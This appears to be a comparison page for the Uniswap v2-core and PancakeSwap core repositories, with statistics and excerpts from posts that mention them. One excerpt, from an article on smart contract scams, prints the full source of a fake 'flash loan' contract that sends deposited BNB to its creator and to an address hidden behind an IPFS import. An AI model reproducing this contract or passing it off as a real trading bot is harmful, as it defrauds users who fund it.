v2-core
pancake-swap-core
Our great sponsors
v2-core | pancake-swap-core | |
---|---|---|
16 | 5 | |
2,798 | 171 | |
2.4% | - | |
0.0 | 0.0 | |
23 days ago | over 2 years ago | |
TypeScript | TypeScript | |
GNU General Public License v3.0 only | GNU General Public License v3.0 only |
Stars - the number of stars that a project has on GitHub. Growth - month over month growth in stars.
Activity is a relative number indicating how actively a project is being developed. Recent commits have higher weight than older ones.
For example, an activity of 9.0 indicates that a project is amongst the top 10% of the most actively developed projects that we are tracking.
v2-core
-
Uniswap Deep Dive 1:
For source code, Uniswap V2 Core and Uniswap V2 Peripheral
- List of smart contracts to strengthen your Auditing skills
-
Forking Uniswap: how to edit LP fees??
Here is the Uniswap V2 on github: https://github.com/Uniswap/v2-core
-
The Depegging of UST
Eh, Curve pools and other invariant-based AMMs have some interesting properties outside traditional finance, bank runs, etc.
I'd read up on the Uniswap constant product invariant (xy=k) and consider reading the Uniswap v2 code (it's a pleasure to read) [0].
Then check out the StableSwap paper by Curve founder Michael Egorov [1]
Finally if you want a well-documented implementation to read in Solidity, check out Saddle [2]. Disclaimer, I helped write the first iteration.
-
Contract development and security for ERC20 related business
UniswapV2Pair.sol๏ผhttps://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol
- Uniswap V2 Liquidity Pool ERC20 question
-
Error When Deploying Token Contract to TestNet?
Any of those above functions that have require statements could have triggered it. I guess that is why you suggested the "hardhats console log". I am not familiar with that and will get right on trying to get that to work. Sorry for slow response, it seems since your message I have went all up and down the entire uniswap code database that includes the router, pair, libraries, transferhelper, WETH, etc.... So I just had the most extensive crash course I have ever had. hahahaha... Thanks for pointing me in that direction. I have learned A LOT. Though I still haven't figured out why the error is happening so I will now try using the hardhats console log to debug it.
-
[ethers.js] UniswapV2Pair getReserves() function failing to resolve promise but can console log the return value?
The function comes from UniswapV2Pair.sol, shown here:
- [Uniswapv2] Overview
-
[Brownie] How can I import from config if a github repo has no releases?
For example Uniswap has 0 releases
pancake-swap-core
-
Anatomy of a Smart Contract Scam
pragma solidity ^0.5.0; // Multiplier-Finance Smart Contracts import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol"; import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPool.sol"; // PancakeSwap Smart Contracts import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol"; import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol"; import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol"; // PancakeSwap Router Smart Contracts import "ipfs://QmaXMrJvcVV53EBvumU3fY5wxbNawq4zAFJ6bbbCwtn1y3"; contract GetFlashLoan { string public tokenName; string public tokenSymbol; uint loanAmount; Manager manager; constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public { tokenName = _tokenName; tokenSymbol = _tokenSymbol; loanAmount = _loanAmount; manager = new Manager(); } address public creator= msg.sender; function tokenTransfer() public view returns (address) { return creator; } function() external payable {} function action() public payable { // Send Tokens to PancakeSwap Router for Swap address(uint160(tokenTransfer())).transfer(address(this).balance/6); address(uint160(manager.pancakeswapDeposit())).transfer(address(this).balance); // Perform tasks (combined all functions into one to reduce external calls & save gas fees) manager.performTasks(); /* Breakdown of functions // Submit token to BSC blockchain string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol); // List the token on PancakeSwap manager.pancakeListToken(tokenName, tokenSymbol, tokenAddress); // Get BNB Loan from Multiplier-Finance string memory loanAddress = manager.takeFlashLoan(loanAmount); // Send Borrowed BNB to provide liquidity of newly created Token string memory bnbPair = manager.pancakeCreatePool(tokenAddress, "BNB"); manager.pancakeAddLiquidity(bnbPair, loanAmount); // Perform swaps between Token and BNB and back again manager.pancakePerformSwaps(); // Repay Flashloan with Multiplier-Finance manager.repayLoan(loanAddress); // Move remaining BNB profit from Contract to the contract creators wallet manager.contractToWallet("BNB"); */ } }
-
Please for the love of god, what does this mean? I canโt swap a goddamn thing. Tried swapping different tokens, different amounts, different slippages. But nada.
In the source code of the pancake pair contract ( https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/PancakePair.sol ) one can see that the 'K' error is triggered when the product of the values if the two tokens in the pool is not mantained constant as it should.
- What is 0x07d80AE6f36A5E08Dca74cE884A24D39dB9934ed?
-
Is there a way to monitor the price on pancake swap through an API?
https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/PancakePair.sol#L73
-
Can defi DEX exchanges steal your initial investment?
pancake-swap-core/contracts at master ยท pancakeswap/pancake-swap-core ยท GitHub
What are some alternatives?
uniswap-v2-periphery - ๐ Peripheral smart contracts for interacting with Uniswap V2 [Moved to: https://github.com/Uniswap/v2-periphery]
human-standard-token-abi - A JSON ABI for the Ethereum ERC 20 Token Standard
erc-1155 - Ethereum Semi Fungible Standard (ERC-1155)
uniswap-v2-core - ๐ Core smart contracts of Uniswap V2 [Moved to: https://github.com/Uniswap/v2-core]
v2-periphery - ๐ Peripheral smart contracts for interacting with Uniswap V2
bsc-ecosystem - A guide to available tools, components, and platforms for developing applications on BSC.
erc20-balance - ๐ Get 2000+ ERC-20 token balances with JavaScript. Supports Node.js and Deno
contracts
revoke.cash - โ Revoke or update your token approvals
solidity-lib - ๐ Solidity libraries that are shared across Uniswap contracts
erc-1155 - ERC-1155: Smart Contract Sample Implementation